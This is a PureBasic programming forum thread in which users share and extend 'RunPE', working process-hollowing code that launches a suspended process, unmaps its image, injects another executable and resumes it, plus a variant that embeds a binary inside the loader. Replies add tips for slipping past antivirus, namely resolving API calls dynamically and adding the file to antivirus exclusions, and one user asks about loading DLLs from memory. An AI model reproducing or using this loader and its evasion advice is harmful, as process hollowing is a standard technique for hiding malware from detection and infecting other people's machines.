Simple: 'RunPE'

Share your advanced PureBasic knowledge/code with the community.
hipy001
New User
New User
Posts: 5
Joined: Tue May 26, 2009 3:25 pm

Simple: 'RunPE'

Post by hipy001 »

Simple: 'RunPE' "Execute from memory"
Works: Tested on Windows sp3 & Windows Vista & Windows 7

Code: Select all

Structure IMAGE_SECTION_HEADER
  SecName.b[8]
  StructureUnion
    PhysicalAddr.l
    VirtualSize.l
  EndStructureUnion
  VirtualAddress.l
  SizeOfRawData.l
  PointerToRawData.l
  PointerToRelocations.l
  PointerToLinenumbers.l
  NumberOfRelocations.w
  NumberOfLinenumbers.w
  Characteristics.l
EndStructure

Structure IMAGE_SECTION_HEADERS
  ish.IMAGE_SECTION_HEADER[95]
EndStructure

Procedure RunPE(sProc.s, lBuff)

  *idh.IMAGE_DOS_HEADER  = lBuff
  *ish.IMAGE_SECTION_HEADERS
  pi.PROCESS_INFORMATION
  *inh.IMAGE_NT_HEADERS
  si.STARTUPINFO
  lpBaseAddres.l
  Ctx.CONTEXT
  Addr.l
  ret.l
  i.l
  
  CreateProcess_(#NUL, sProc, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi)
  Ctx\ContextFlags = #CONTEXT_INTEGER
  If GetThreadContext_(pi\hThread, Ctx) = 0      : Goto EndThread : EndIf
  
  ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL)
  If ZwUnmapViewOfSection_(Pi\hProcess, Addr)    : Goto EndThread : EndIf
  If lBuff = 0                                   : Goto EndThread : EndIf
  *inh = lBuff + *idh\e_lfanew
  
  lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE)
  WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret)
  *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader
  
  For i = 0 To *inh\FileHeader\NumberOfSections - 1
    WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret)
  Next
  
  WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL)
  Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint
  SetThreadContext_(pi\hThread, Ctx)
  ResumeThread_(pi\hThread)
  End
  
  EndThread:
  TerminateProcess_(pi\hProcess, #NUL)
  CloseHandle_(pi\hThread)
  CloseHandle_(pi\hProcess)
EndProcedure

Procedure Run()
 If ReadFile(0, "C:\1.exe") = 0 : End : EndIf
    lBuf = AllocateMemory(Lof(0))
    ReadData(0, lBuf, Lof(0))
    CloseFile(0)
 ;-----------------------
    File.s = Space(1024)
    GetModuleFileName_(0, File, 1024)
    RunPE(File, lBuf)
EndProcedure

Run()
User avatar
idle
Always Here
Always Here
Posts: 5836
Joined: Fri Sep 21, 2007 5:52 am
Location: New Zealand

Post by idle »

That's been asked for a few times.
Thanks could be useful.
User avatar
DoubleDutch
Addict
Addict
Posts: 3220
Joined: Thu Aug 07, 2003 7:01 pm
Location: United Kingdom
Contact:

Post by DoubleDutch »

Thanks. :)
https://deluxepixel.com <- My Business website
https://reportcomplete.com <- School end of term reports system
User avatar
fsw
Addict
Addict
Posts: 1603
Joined: Tue Apr 29, 2003 9:18 pm
Location: North by Northwest

Post by fsw »

Welcome "AntiVirus Program Activator" :x

This code works as good as the other ones:

http://www.purebasic.fr/english/viewtop ... 2&start=90

Some Antivirus Programs identify it as a virus :shock:
+18
Enthusiast
Enthusiast
Posts: 228
Joined: Fri Oct 24, 2008 2:07 pm

Post by +18 »

Why this error occured for me?
Image

test on : 4.30+xp sp3
User avatar
DoubleDutch
Addict
Addict
Posts: 3220
Joined: Thu Aug 07, 2003 7:01 pm
Location: United Kingdom
Contact:

Post by DoubleDutch »

Turn off your antivirus - it is blocking the linking of the file.
https://deluxepixel.com <- My Business website
https://reportcomplete.com <- School end of term reports system
User avatar
ts-soft
Always Here
Always Here
Posts: 5756
Joined: Thu Jun 24, 2004 2:44 pm
Location: Berlin - Germany

Post by ts-soft »

fsw wrote:This code works as good as the other ones:

http://www.purebasic.fr/english/viewtop ... 2&start=90
No, the difference is, this program works, the other does'nt work on most
PC.

The Problem with Antivirus is another thing
PureBasic 5.73 | SpiderBasic 2.30 | Windows 10 Pro (x64) | Linux Mint 20.1 (x64)
Old bugs good, new bugs bad! Updates are evil: might fix old bugs and introduce no new ones.
Image
SFSxOI
Addict
Addict
Posts: 2970
Joined: Sat Dec 31, 2005 5:24 pm
Location: Where ya would never look.....

Post by SFSxOI »

All you need to do for the antivirus is add it to the antivirus exclusions so it wont be scanned.

Is there an example of real world usage someone could show us? I'm still not clear on the usefulness of executing a .exe in memory like this.
Last edited by SFSxOI on Tue Jun 02, 2009 6:00 pm, edited 1 time in total.
+18
Enthusiast
Enthusiast
Posts: 228
Joined: Fri Oct 24, 2008 2:07 pm

Post by +18 »

this error is very eccentric
if i make a exe from this code, it's work but from compiler run directly don't work

Thanks to hipy001 for sharing this cool code
it is better if masters provide an improvment that :D
Trond
Always Here
Always Here
Posts: 7446
Joined: Mon Sep 22, 2003 6:45 pm
Location: Norway

Post by Trond »

I've always wondered whether it was simply possible to shellexecute a named pipe for this purpose.
hipy001
New User
New User
Posts: 5
Joined: Tue May 26, 2009 3:25 pm

Post by hipy001 »

if you want it not detect antivirus Change All Apis To:

Ex:
OpenLibrary(0, "kernel32.dll")
lsAllocEx = GetFunction(0, "VirtualAllocEx")
CloseLibrary(0)

CallFunctionFast(lsAllocEx , ...................)

:wink:

Sorry for my bad English :(
User avatar
fsw
Addict
Addict
Posts: 1603
Joined: Tue Apr 29, 2003 9:18 pm
Location: North by Northwest

Post by fsw »

Assuming that ZwUnmapViewOfSection is the one causing the AV troubles maybe changing it to NtUnmapViewOfSection would help.

Because MSDN says:
Note If the call to this function occurs in user mode, you should use the name "NtUnmapViewOfSection" instead of "ZwUnmapViewOfSection".
EDIT:
Just tried this and "Avira Antivir Personal" goes still off :cry:
Last edited by fsw on Wed Jun 03, 2009 2:15 am, edited 1 time in total.
User avatar
ts-soft
Always Here
Always Here
Posts: 5756
Joined: Thu Jun 24, 2004 2:44 pm
Location: Berlin - Germany

Post by ts-soft »

Here a small enhancement with parameters:

first the included test.exe

Code: Select all

Define.s para1, para2
para1 = ProgramParameter()
para2 = ProgramParameter()

OpenWindow(0, #PB_Ignore, #PB_Ignore, 140, 50, para1, #PB_Window_SystemMenu)

TextGadget(#PB_Any, 10, 10, 120, 20, para2)

Repeat : Until WaitWindowEvent() = #PB_Event_CloseWindow
here the modified RunPE(lBuff, parameters.s)

Code: Select all

EnableExplicit

Structure IMAGE_SECTION_HEADER
  SecName.b[8]
  StructureUnion
    PhysicalAddr.l
    VirtualSize.l
  EndStructureUnion
  VirtualAddress.l
  SizeOfRawData.l
  PointerToRawData.l
  PointerToRelocations.l
  PointerToLinenumbers.l
  NumberOfRelocations.w
  NumberOfLinenumbers.w
  Characteristics.l
EndStructure

Structure IMAGE_SECTION_HEADERS
  ish.IMAGE_SECTION_HEADER[95]
EndStructure

Procedure RunPE(lBuff, parameters.s)
  Protected *idh.IMAGE_DOS_HEADER  = lBuff
  Protected *ish.IMAGE_SECTION_HEADERS
  Protected pi.PROCESS_INFORMATION
  Protected *inh.IMAGE_NT_HEADERS
  Protected si.STARTUPINFO
  Protected lpBaseAddres.l
  Protected Ctx.CONTEXT
  Protected Addr.l, ret.l, i.l

  CreateProcess_(#NUL, ProgramFilename() + " " + parameters, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi)
  Ctx\ContextFlags = #CONTEXT_INTEGER
  If GetThreadContext_(pi\hThread, Ctx) = 0      : Goto EndThread : EndIf
 
  ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL)
  If ZwUnmapViewOfSection_(Pi\hProcess, Addr)    : Goto EndThread : EndIf
  If lBuff = 0                                   : Goto EndThread : EndIf
  *inh = lBuff + *idh\e_lfanew
 
  lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE)
  WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret)
  *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader
 
  For i = 0 To *inh\FileHeader\NumberOfSections - 1
    WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret)
  Next
 
  WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL)
  Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint
  SetThreadContext_(pi\hThread, Ctx)
  ResumeThread_(pi\hThread)
  ProcedureReturn 
 
  EndThread:
  TerminateProcess_(pi\hProcess, #NUL)
  CloseHandle_(pi\hThread)
  CloseHandle_(pi\hProcess)
EndProcedure

DataSection
  file: IncludeBinary "test.exe"
EndDataSection

RunPE(?file, "para1 para2")

PureBasic 5.73 | SpiderBasic 2.30 | Windows 10 Pro (x64) | Linux Mint 20.1 (x64)
Old bugs good, new bugs bad! Updates are evil: might fix old bugs and introduce no new ones.
Image
SFSxOI
Addict
Addict
Posts: 2970
Joined: Sat Dec 31, 2005 5:24 pm
Location: Where ya would never look.....

Post by SFSxOI »

when ever I try to use this I always get an error that the app failed to start because MSVCR80.dll was not found (which is a kinda odd and unexpected error). Works OK with the test.exe above, but for any other .exe I get this error. Is that normal for this? Running Vista, and running the code in admin mode.
cas
Enthusiast
Enthusiast
Posts: 597
Joined: Mon Nov 03, 2008 9:56 pm

Post by cas »

Can we modify this code to allow dll load and open from memory? :roll:

Thanks
Post Reply